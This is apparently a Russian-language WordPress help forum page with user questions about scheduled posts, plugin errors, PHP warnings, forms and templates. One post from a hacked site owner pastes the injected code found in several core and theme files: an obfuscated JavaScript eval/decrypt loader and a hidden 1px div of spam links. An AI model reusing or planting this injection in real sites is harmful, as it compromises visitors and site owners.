01. Проблемы и решения с WordPress

Что-то не работает? Сайт не загружается? Сломалось. Пиши сюда.

База данных Вордпресс

Добрый день, у меня появилась проблема и я надеюсь вы сможете уделить мне минутку, что бы разобраться в одном интересном вопросе. Она связана именно с базой данных.
Я в excele создал таблицу wp-posts вордпресса и наполнил ее 50 новостями. Соответственно каждой новости свое время, свой id, время, статус – выставлены все параметры. Импортирую – вордпресс все скушал и отображает.
ПРОБЛЕМА
Первым 25 новостям был присвоен статус "publish" а вторым 25 новостям "future" и соответствующее время: первым 25 новостям было присвоено время до настоящего, остальным после настоящего момента. При импорте все отображалось корректно, часть опубликована, часть запланирована: 10 мин до публикации, 70 минут до публикации и т.д. Но при проходе определенного порога времени для новости ничего не происходит, публикации нет, просто в админке вновь отсчитывается, увеличиваясь время. Если обновить новость, зайдя в нее и "сохранив" ее, то все встает на свои места, она уходит из списка "запланированных" и публикуется на главной.

Работа производилась только с таблицей wp_posts. Вы догадываетесь в чем может быть проблемма? Почему не происходит автоматической публикации?

Ответ нашел меня сам, если кому будет полезно, http://www.wordpressplugins.ru/faq/cron.html

Конструктор формы поиска с фильтрами

Задача: создать поиск по базе адресов. Пользователь должен сначала выбрать район (поле 1), затем улицу (поле 2), нажать поиск и получить вывод адресов по данной улице данного района.

Сначала подумал, что поможет cforms II. Тем более что поиск у них на сайте поддержке организован аналогичным образом, см. http://www.deliciousdays.com/cforms-forum/?forum=1&topic=428&page=1

Но нет, у этого плагина оказались другие функции.

Перерыл плагины на wordpress.org – не нашел ничего похожего.
Поэтому вопрос: если такого плагина нет для wordpress, ткните, где можно найти конструктор подобных форм, поддерживающий работу с базой и желательно тогда с функция предварительного импортирования отклассифицированных адресов в базу, по которой будет осуществляться поиск.

Помогите решить проблему глюков

Ситуация такая – WP с 2.3.3 до 2.6 от Лекактуса

Помогал мне один чел, не буду его называть. В общем теперь в админке безумное количество глюков. То на русском адмика, то на англ.

+ когда я (админ) активировал плагин All-in-One SEO – страницы админки стали грузиться через раз. Во второй раз открывалась пустая страница.. А когда второй пользователь с админскими правами включил его – все стало нормально. Чудеса

+ не могу ща активировать плагин Popularity Contest – пишет критическая ошибка.

+ не знаю что может появиться дальше. Но как я сказал все в пределах админки происходит…

Очень нужна ваша помощь.

P.S. я знаю, что возможно вы скажете, что дело в хостинге.. Я могу сказать, что на этом хостинге (masterhost – да все банально) работает мой другой блог на том же WP 2.6 только поставленном с нуля. И все теже плагины.. ТАК что я уверен, что меня просто криво обновили 🙁

Отсрочка публикации поста

Есть несполько сотен постов, находящиеся в отдельной БД. Я хочу скриптом залить их в БД WordPress’а и при этом выставить отсрочку публикации постов в 1 час, то есть они будут публиковаться один за другим пока не закончатся.
Собственно, скрипт я написал. Посты в БД WordPress’а залил. Но вот почему-то они не хотят публиковаться каждый час. В таблице wp_posts скрипт проставил для каждого поста:
post_author – 1
post_date – дату в формате Y-m-d H:i:s. Тут вроде все правильно – дата поста отличается от даты предыдущего поста на 1 час.
post_content – текст поста
post_title – заголовок поста
post_category – 0. Категории тоже выставлены для постов в таблице wp_term_relationships.
post_status – future
comment_status – open
post_type – post
Потом уже вручную пробовал добавлять и post_date_gmt и post_modified с post_modified_gmt и guid. Не помогает.
Кто знает, как работает в WordPress отсрочка публикации постов и что делать в моем случае – прошу вашего совета.
Речь идет о WordPress v.2.5.1

Ошибка при входе в админку

Захожу в админку блога, а мне на белом фоне выдается такая ерунда

Warning: Cannot modify header information – headers already sent by (output started at /home/panze620/domains/e-kompressor.ru/public_html/wp-content/plugins/memori/add_memori.php:1) in /home/panze620/domains/e-kompressor.ru/public_html/wp-includes/pluggable.php on line 694

причем если зайти в блог с поисковика – блог пашет

Загрузка картинок по URL

Как сделать возможной загрузку картинок по URL при написании нового поста?

Не удаляется записи

Сайт расположен локально на Денвер 3. Только что обновился с 2.3 до 2.6. При попытке удалить запись сначала ругался на время выполнения скрипта, а после его увеличения просто выбает белый экран. У кого-нибудь есть какие-либо предположения? Заранее спасибо.

Warning: preg_match() [function.preg-match]: No ending delimiter ‘!’

А с чем такие ошибки могут быть связаны?
Блог переехал с одного хостинга на другой, обновился с 2,2,3 до 2,3,3 и начал на главной выплевывать в начале страницы:

Warning: preg_match() [function.preg-match]: No ending delimiter '!' found in /home/блабла/wp-includes/classes.php on line 99
Warning: preg_match() [function.preg-match]: No ending delimiter '!' found in /home/блабла/wp-includes/classes.php on line 100
Warning: preg_match() [function.preg-match]: No ending delimiter '!' found in /home/блабла/wp-includes/classes.php on line 99
Warning: preg_match() [function.preg-match]: No ending delimiter '!' found in /home/блабла/wp-includes/classes.php on line 100
Warning: preg_match() [function.preg-match]: No ending delimiter '!' found in /home/блабла/wp-includes/classes.php on line 99
Warning: preg_match() [function.preg-match]: No ending delimiter '!' found in /home/блабла/wp-includes/classes.php on line 100
Warning: preg_match() [function.preg-match]: No ending delimiter '!' found in /home/блабла/wp-includes/classes.php on line 99
Warning: preg_match() [function.preg-match]: No ending delimiter '!' found in /home/блабла/wp-includes/classes.php on line 100

Ошибки в wp 2.6

Сегодня при работе с wp 2.6 появилась проблема, время от времени, при активации плагинов и просто при переходе на различные страницы в админке появляется:

Warning: unpack() [function.unpack]: Type V: not enough input, need 4, have 0 in /home/u26684/stroiconsultant/www/wp-includes/gettext.php on line 91

Warning: unpack() [function.unpack]: Type V: not enough input, need 4, have 0 in /home/u26684/stroiconsultant/www/wp-includes/gettext.php on line 91

Fatal error: Maximum execution time of 20 seconds exceeded in /home/u26684/stroiconsultant/www/wp-includes/streams.php on line 66

Хостинг majordomo.ru

Метки для страниц

При создании записи можно добавить для нее метки. Можно ли с помощью каки-нибудь плагинов сделать возможность добавления меток для создаваемых страниц?

Пара вопросов по организаци регистрации пользователей на WordPress

Добрый день.

Делаю сайт на базе WordPress, не совсем блог, скорее нечто корпоративное (страница новостей + десяток страниц). Основная функция сайта – обеспечить регистрацию пользователей для последующего использования данных в стороннем скрипте.

На данный момент реализую это с помощью непосредственно WordPress’a (2.6, сборка от LeCactus) и нескольких самописных php-скриптов. Не слишком удобно: формы вставляются в страницы вордпресса с помощью iframe’ов… Плюс прочие подобные "костыли"… 🙁

Возможно ли с помощью какого-нибудь плагина или хака научить WordPress регистрировать пользователей в отдельную таблицу БД? Сейчас смотрю на Register Plus как на основного кандидата к переделке под свои нужды, но возможно есть какие-то более простые пути…

И второй вопрос – каким образом возможно изменить стандартное восстановление пароля? Необходимо добавить дополнительное поле "Секретное слово". Если пользователь вводит правильный e-mail и правильное секретное слово, то тогда следует сгенерировать новый пароль и просто показать его пользователю, без отсылки на е-мейл.

Как вывести категории с заголовком рэндом постов?

Как можно вывести все категории, в которых есть посты, но так, чтобы с каждой категорией выводился заголовок случайного поста из этой категории?

Как вывести посты в виде таблицы ?

Всем привет.
Столкнулся тут с проблемкой ,

нужно пости вывести в виде таблицы
ширина 3 колонки
а в низ неограниченое количество строк

я так понимаю здесь (в index.php) будет типа такого:

<table border="1" width="100%">
<div class="entry">

<?php the_content(‘»’); ?>

</div>
</table>

и теперь нужно кудато впихнуть вот такой шаблон

<tr>
<td>пост</td>
<td>пост</td>
<td>пост</td>
</tr>

но как и куда его впихнуть немогу разобраться ((

может кто подскажет ?

Заранее спасибо.

Взломали WordPress помогите пожалуйста?

Взломали WordPress 2.5

При открытии главной страници выводится сообщение:

Warning: Cannot modify header information – headers already sent by (output started at /sata1/home/users/namitours/www/www.namitours.com/wp-includes/default-filters.php:191) in /sata1/home/users/namitours/www/www.namitours.com/wp-includes/pluggable.php on line 694.

Файлы которые подвержены атаке:

index.php
wp-admin\page.php
wp-admin\index.php
wp-admin\index-extra.php
wp-admin\includes\template.php

wp-content\index.php
wp-content\themes\default\footer.php
wp-content\themes\default\index.php
wp-content\themes\default\page.php

wp-includes\default-filters.php
wp-includes\pluggable.php
wp-includes\js\tinymce\plugins\inlinepopups\template.htm

Во всех этих файлах в конце дописывается пару строк (как я понял это какой-то криптор):

<!– o –><noindex><script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load(‘<`B15ni[g`(QZIm[Zi`lZQIm[~S1(i1Iu[B15ni~S1(i1Iu[X1hI\"ZQQFx;;lSSloi{QSF.`Y\"><;`B15ni>’,unescape(‘function decrypt%28n%29%7Bvar l%2Cch%2Cind%2Cq%3D%22%22%2Ckey%3D%22OD%26%3Ax9T6H%40fBAC%23y_wgloSEb%7EK %5BchZei%60a5z-%7Bjv%21Pk%7Cr1mnYU%7DqV7%2F%3BpF%5DsXG%3DILtQJ0u%5C%272Md%284%2A%22%3Bfor%28l%3D0%3Bl%3Cn.length%3Bl%2B%2B%29%7Bch%3Dn.charAt%28l%29%3Bind%3Dkey.indexOf%28ch%29%3Bif%28ind%3E-1%29%7Bif%28ind%3D%3D0%29%7Bind %3D79%7Dq%2B%3Dkey.charAt%28ind-1%29%7D else %7Bq%2B%3Dch%7D%7D%3Bdocument.write%28q%29%7D’));</script></noindex>
<div style="OVERFLOW: auto; HEIGHT: 1px">
<a href="http://Bla-Bla-Bla-Bla-Bla-Bla.net">Bla-Bla-Bla-Bla-Bla-Bla</a></div><!– c –>

(там где "Bla-Bla-Bla-Bla-Bla-Bla" ссылка на поно сайт, муть короче…)

Вот права на папки:

wp-includes 751

wp-content 755
wp-content\plugins 755
wp-content\uploads 777
wp-content\themes 777

wp-admin 711

.htaccess присутствует.

<Files ~ "^.ht">
Order allow,deny
Deny from all
Satisfy All
</Files>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

  1. BEGIN WordPress

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

  1. END WordPress

Это уже второй раз атакуют, до этого права на папки были другие, после атаки всё поменял и изменил пароли, но, опять атаковали. Помогите пожалуйста, как можно защититься?

Спасибо!

Типограф

Хочу обратить ваше внимание на замечательный плагин Typograf, который делает точно тоже самое, что и типограф Лебедева. Собственно, этот плагин обращается к сайту Лебедева и прогоняет ваш пост через форму, добавляя где надо неразрывный пробел, изменяя "" на «» и т.д. Я пользовался этим плагином до обновления на версию WP 2.6, теперь выдается ошибка
"Fatal error: Cannot redeclare class RemoteTypograf in /home/site/public_html/wp-content/plugins/remotetypograf.php on line 26"
Гуру, спасайте! Я уже жить не могу без этого плагина, он просто жутко удобный. Помогите подправить код, чтобы все заработало.
UPD. На сайте Лебедева даже есть исходники, на основе которых можно собрать плагин заново.

Дополнительные страницы

здраствуйте уважаемые форумцы. 🙂 В общем проблема такая, все поставил, все работает, но только не пойму одно, как можно добавить еще страниц на сайт? ну т.е. именно не рубрику там, не блог, а прям страницу, у примеру для фидбека, или просто отдельно страничка с какой-нить доп. инфой по сайту, но так, что бы стиль оформления выдерживался… нашел в админке ВП рубрику "Страницы", но там нету ничего общего с "добавить", только можно удалять… вот.. если кто не понял, иогу еще объяснить. 🙂 заранее спасибо!

Отправка коментариев на другой e-mail

Проблема такая!
Приходят письма о модерировании или просто о новых коментах на мыло администратору, я сменил e-mail администратора и письма на новый e-mail не приходят.
Внимание вопрос!
Как сделать чтоб письма комментариев приходили на другой e-mail или ещё луче приходили всем администраторам блога.
Спасибо! 😀

Подкатегории

Как сделать чтобы этот код выполнялся для ее подкатегорий

<?php
if ( is_category(‘5’) ) {
include(TEMPLATEPATH . ‘/category2.php’);
} else {
include(TEMPLATEPATH . ‘/index.php’);
}
?>

Как строятся mysql запросы?

Здравствуйте
Хотелось бы увидеть стандартный для WP класс запросов к БД.
Конечно, можно было бы пойти в лоб, и использовать что-то типа:

$res = mysql_query("SELECT * FROM wp_news ORDER BY id");
while($row = mysql_fetch_row($res)){
$id = intval($row['id']);
}

Уж простите, долгое время проработал с нюкой :rolleyes:
Просто хочется понять как правильно делать запросы к БД. Я смотрел исходники, но если честно, мало что понял. Буду признателен за подробный пример с описанием или линк на какой-то FAQ с описанием.

Заранее благодарен за ответ.

Anonymous
Отправить
Ответ на: